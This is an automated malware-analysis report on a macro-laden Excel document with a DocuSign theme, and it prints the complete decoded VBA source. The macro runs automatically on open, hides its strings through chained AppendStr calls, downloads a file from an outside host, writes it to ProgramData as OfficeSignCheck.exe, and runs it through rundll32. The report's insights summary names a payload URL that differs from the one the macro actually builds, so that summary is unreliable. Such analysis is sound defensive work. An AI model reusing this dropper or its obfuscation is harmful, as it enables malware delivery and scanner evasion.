Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 de9f983c68c35934…

MALICIOUS

Office (OOXML)

70.3 KB Created: 2021-04-18 22:18:27 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-28
MD5: e788cedd4de78880a45c710183e3a479 SHA-1: ab172e2d84afb9e52f7f64a61092712580ef9455 SHA-256: de9f983c68c3593441426116be5a5d400acef56fe9dd1bdcdd4302fc293701cf
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macro contains obfuscated code designed to execute automatically upon opening the document. It utilizes CreateObject and Shell calls to download a payload from the hardcoded URL 'http://185.173.172.134/payload.exe' and execute it, indicating a downloader or droppper functionality.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     Call Wait(5)
 Shell("rundll32.exe shell32.dll,ShellExec_RunDLL " &  AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) &  AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", Appe …
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
     Call Wait(5)
 Shell("rundll32.exe shell32.dll,ShellExec_RunDLL " &  AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) &  AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", Appe …
End Sub
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     Call FunctionEnable(3)
 myURL = HttpReq.responseBody
 If HttpReq.Status = 200 Then
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
     Set HttpReq = Nothing
 Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", AppendStr("t", AppendStr(".", AppendStr("5", AppendStr(".", "1"))))))))))))))))))))))))))
 If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", "t"))))))))))))))))))))))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set HttpReq = Nothing
 Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", AppendStr("t", AppendStr(".", AppendStr("5", AppendStr(".", "1"))))))))))))))))))))))))))
 If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", "t"))))))))))))))))))))))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
 Call CalculateMinMax()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10487 bytes
SHA-256: 2ae4348fbfc2ba8181fcf1b7307cfccd780af62cffac37a99d6e2a72f75ce652
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                    
Sub Wait(seconds As Integer)
	Dim now As Long
	now = Timer()
	Do
		DoEvents
	Loop While (Timer < now + seconds)
End Sub

Private Function AppendStr(Str1 As String, Str2 As String) As String
	AppendStr = Str1 + Str2
End Function

Private Sub Function_Ft(range_char As String, range_num As String)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).Value = "TKJXIQVNCXJLNJKY"
End Sub

Private Sub Function_Sc(range_char_ft As String, range_num_ft As String, range_char_sc As String, range_num_sc As String)
	Dim range_str As String
	range_str = range_char_ft & range_num_ft & ":" & range_char_sc & range_num_sc
	Range(range_str).Value = "HJBFPHWB"
End Sub

Private Sub Function_Th(cell_1 As Integer, cell_2 As Integer)
	Cells(cell_1, cell_2).Value = "ILTJLJJNG"
End Sub

Private Sub Function_Fr(range_char As String, range_num As String)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).ClearContent
End Sub

Private Sub Function_Fv(range_char As String, range_num As String)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).ClearFormats
End Sub

Private Sub Function_Sx(range_char As String, range_num As String)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).Clear
End Sub

Private Sub Function_Sv(range_char As String, range_num As String)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).EntireRow.Insert
End Sub

Private Sub Function_Et(range_char As String, range_num As String)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).EntireColumn.Insert
End Sub

Private Sub Function_Nn(workName As String)
	Dim ws As Worksheet
	Set ws = Sheets.Add
	ws.name = workName
End Sub

Private Sub Function_Tn(range_char As String, range_num As String, rrr As Integer, ggg As Integer, bbb As Integer)
	Dim range_str As String
	range_str = range_char & range_num
	Range(range_str).Font.Color = RGB(rrr, ggg, bbb)
End Sub

Private Sub FunctionEnable(funNum As Integer)
	If funNum = 1 Then
		Call Function_Sc("G", "25", "C", "7")
		Call Function_Fv("S", "49")
		Call Function_Sx("G", "118")
		Call Function_Sx("D", "67")
		Call Function_Fv("G", "60")
		Call Function_Sc("S", "86", "I", "86")
		Call Function_Fv("O", "32")
		Call Function_Ft("C", "77")
		Call Function_Th(70, 106)
	ElseIf funNum = 2 Then
		Call Function_Sx("W", "56")
		Call Function_Fv("I", "69")
		Call Function_Sc("Y", "97", "K", "65")
		Call Function_Sx("V", "99")
		Call Function_Sx("D", "119")
		Call Function_Sx("S", "15")
		Call Function_Ft("B", "47")
		Call Function_Th(44, 62)
		Call Function_Fv("J", "76")
	ElseIf funNum = 3 Then
		Call Function_Sx("G", "80")
		Call Function_Ft("W", "31")
		Call Function_Ft("O", "88")
		Call Function_Sc("O", "46", "S", "66")
		Call Function_Th(48, 32)
		Call Function_Sx("K", "42")
		Call Function_Sx("R", "99")
		Call Function_Sx("Q", "97")
		Call Function_Ft("O", "19")
	ElseIf funNum = 4 Then
		Call Function_Fv("T", "119")
		Call Function_Th(5, 20)
		Call Function_Fv("L", "114")
		Call Function_Sx("P", "70")
		Call Function_Th(55, 21)
		Call Function_Sx("H", "63")
		Call Function_Ft("X", "12")
		Call Function_Fv("I", "4")
		Call Function_Sx("D", "70")
		Call Function_Fv("I", "30")
	ElseIf funNum = 5 Then
		Call Function_Sc("A", "118", "O", "38")
		Call Function_Fv("J", "50")
		Call Function_Fv("C", "64")
		Call Function_Fv("T", "103")
		Call Function_Sx("J", "46")
		Call Function_Th(79, 4)
		Call Function_Sc("H", "115", "Q", "7")
		Call Function_Ft("K", "115")
		Call Function_Sx("W", "70")
		Call Function_Ft("D", "84")
	ElseIf funNum = 6 Then
		Call Function_Sc("O", "71", "R", "17")
		Call Function_Sc("I", "104", "A", "118")
		Call Function_Sc("H", "3", "M", "36")
		Call Function_Th(89, 42)
		Call Function_Sc("H", "105", "D", "8")
		Call Function_Sc("N", "33", "J", "51")
		Call Function_Sx("P", "64")
		Call Function_Fv("Q", "9")
		Call Function_Sx("D", "96")
		Call Function_Sx("C", "34")
	ElseIf funNum = 7 Then
		Call Function_Sx("M", "34")
		Call Function_Th(90, 2)
		Call Function_Sx("J", "20")
		Call Function_Th(101, 98)
		Call Function_Fv("Y", "65")
		Call Function_Th(19, 104)
		Call Function_Ft("X", "14")
		Call Function_Sc("L", "107", "P", "114")
	ElseIf funNum = 8 Then
		Call Function_Sx("E", "56")
		Call Function_Ft("G", "108")
		Call Function_Sx("J", "104")
		Call Function_Ft("C", "92")
		Call Function_Th(50, 91)
		Call Function_Sc("L", "36", "Q", "103")
		Call Function_Th(90, 71)
		Call Function_Sx("N", "27")
		Call Function_Th(91, 46)
		Call Function_Fv("M", "43")
	ElseIf funNum = 9 Then
		Call Function_Sc("B", "22", "M", "110")
		Call Function_Sc("Y", "112", "E", "52")
		Call Function_Ft("L", "19")
		Call Function_Sc("P", "71", "E", "90")
		Call Function_Sc("F", "92", "R", "2")
		Call Function_Sx("W", "61")
		Call Function_Ft("P", "105")
		Call Function_Ft("Y", "69")
		Call Function_Sx("Q", "24")
	ElseIf funNum = 10 Then
		Call Function_Th(31, 53)
		Call Function_Th(39, 87)
		Call Function_Sx("U", "77")
		Call Function_Sc("K", "19", "P", "81")
		Call Function_Sx("P", "110")
		Call Function_Sc("D", "44", "I", "21")
		Call Function_Ft("P", "113")
		Call Function_Th(37, 52)
		Call Function_Ft("V", "51")
	EndIf
End Sub



Private Sub CalculateMinMax()
	Dim myURL As String
	myURL = 	AppendStr("h", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("s", AppendStr(":", AppendStr("/", AppendStr("/", AppendStr("d", AppendStr("o", AppendStr("c", AppendStr("u", AppendStr("s", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("e", AppendStr("r", AppendStr("-", AppendStr("a", AppendStr("p", AppendStr("i", AppendStr(".", AppendStr("c", AppendStr("o", AppendStr("m", AppendStr("/", AppendStr("i", AppendStr("n", AppendStr("f", AppendStr("o", AppendStr("/", AppendStr("6", AppendStr("0", AppendStr("5", AppendStr("c", AppendStr("2", AppendStr("3", AppendStr("f", AppendStr("5", AppendStr("-", AppendStr("0", AppendStr("6", AppendStr("d", AppendStr("4", AppendStr("-", AppendStr("4", AppendStr("2", AppendStr("0", AppendStr("f", AppendStr("-", AppendStr("b", AppendStr("d", AppendStr("a", AppendStr("d", AppendStr("-", AppendStr("9", AppendStr("5", AppendStr("e", AppendStr("9", AppendStr("4", AppendStr("5", AppendStr("2", AppendStr("a", AppendStr("7", AppendStr("d", AppendStr("1", "7")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
	Dim HttpReq As Object
	Call FunctionEnable(9)
	Set HttpReq = Nothing
	Set HttpReq = CreateObject(	AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", AppendStr("t", AppendStr(".", AppendStr("5", AppendStr(".", "1"))))))))))))))))))))))))))
	If HttpReq Is Nothing Then Set HttpReq = CreateObject(	AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", "t"))))))))))))))))))))))
	If HttpReq Is Nothing Then Set HttpReq = CreateObject(	AppendStr("M", AppendStr("S", AppendStr("X", AppendStr("M", AppendStr("L", AppendStr("2", AppendStr(".", AppendStr("S", AppendStr("e", AppendStr("r", AppendStr("v", AppendStr("e", AppendStr("r", AppendStr("X", AppendStr("M", AppendStr("L", AppendStr("H", AppendStr("T", AppendStr("T", "P"))))))))))))))))))))
	If HttpReq Is Nothing Then Set HttpReq = CreateObject(	AppendStr("M", AppendStr("i", AppendStr("c", AppendStr("r", AppendStr("o", AppendStr("s", AppendStr("o", AppendStr("f", AppendStr("t", AppendStr(".", AppendStr("X", AppendStr("M", AppendStr("L", AppendStr("H", AppendStr("T", AppendStr("T", "P")))))))))))))))))
	Call FunctionEnable(4)
	HttpReq.Open 	AppendStr("G", AppendStr("E", "T")), myURL, False
	Call FunctionEnable(2)
	HttpReq.send
	Call FunctionEnable(3)
	myURL = HttpReq.responseBody
	If HttpReq.Status = 200 Then
		Call FunctionEnable(7)
		Set oStrm = CreateObject(	AppendStr("A", AppendStr("D", AppendStr("O", AppendStr("D", AppendStr("B", AppendStr(".", AppendStr("S", AppendStr("t", AppendStr("r", AppendStr("e", AppendStr("a", "m"))))))))))))
		Call FunctionEnable(3)
		oStrm.Open
		oStrm.Type = 1
		oStrm.Write HttpReq.responseBody
		Call FunctionEnable(3)
		oStrm.SaveToFile 	AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) & 	AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", AppendStr("k", AppendStr(".", AppendStr("e", AppendStr("x", "e")))))))))))))))))), 2
		Call FunctionEnable(5)
		oStrm.Close
	End If
End Sub

Private Sub Workbook_Open()
	Call CalculateMinMax()
	Call Function_Nn("QHLUMNGNIA")
	Call Wait(5)
	Shell("rundll32.exe shell32.dll,ShellExec_RunDLL " & 	AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) & 	AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", AppendStr("k", AppendStr(".", AppendStr("e", AppendStr("x", "e")))))))))))))))))))
End Sub



                    
Attribute VB_Name = "DocuSign Info"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7168 bytes
SHA-256: 66b501cc948db0a5d7b04edbeeb2fe4db7bc8e735db321dfda087fc0ae7d2b0a

Open this report in the interactive analyzer, or submit your own file for analysis.